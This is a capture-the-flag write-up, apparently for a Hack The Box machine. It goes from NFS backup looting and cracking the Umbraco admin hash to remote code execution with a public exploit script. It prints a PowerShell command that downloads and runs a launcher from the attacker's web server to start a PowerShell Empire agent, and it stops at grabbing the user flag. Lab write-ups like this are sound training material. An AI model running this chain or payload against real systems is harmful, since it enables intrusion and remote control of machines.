We start out with the usual nmap scan
Points of interest here are that we have anonymous FTP access, a web server, and some nfs shares.
FTP was a dead end with nothing inside. And on the website we have a dummy Umbraco install.
The webserver was pretty boring with not a whole lot going on. So I decided to checkout the nfs shares.
We can see we have a site_backups share that is accessible. So I copied it over to kali to check it out.
Some research into Umbraco showed that it stores its database in a .sdf file inside the App_Data directory.
We can pull out the admin username and hash with a simple grep command.
This hash is easily crackable with something like JohnTheRipper. I threw it at the rockyou.txt wordlist and we get
admin@htb.local : baconandcheese
Now that we've got some creds, I did quick search to see if there's any available exploits for Umbraco, and if we have the same vulnerable version.
I ended up using this public exploit script from Github instead -
https://github.com/noraj/Umbraco-RCE
Which will essentially let us run any powershell we want on the machine. This sounded like the perfect opportunity to brush up
on our Powershell Empire skills. Our execution flow is going to look something like this -
1 - In empire we generate a powershell launcher, and start up a listener.
2 - Drop the launcher into a launcher.bat file
3 - Start up a python webserver to serve the launcher.bat file
4 - Run the github exploit with powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.10/launcher.bat')"
This should pull our launcher.bat file, make the connection to our empire agent, which feeds it the rest of a fully interactive shell.
We should end up with a fully interactive empire agent if all goes right.
Step 1 - generating a powershell launcher, and start up a listener
Step 2 and 3 - Dropping the launcher into a file, and starting python web server
Step 4 - Running the exploit
Over in our http server we can see launcher.bat was succesfully pulled from our machine
In empire we can see we successfully got a connection to our agent :D
We can now grab the user.txt flag like so -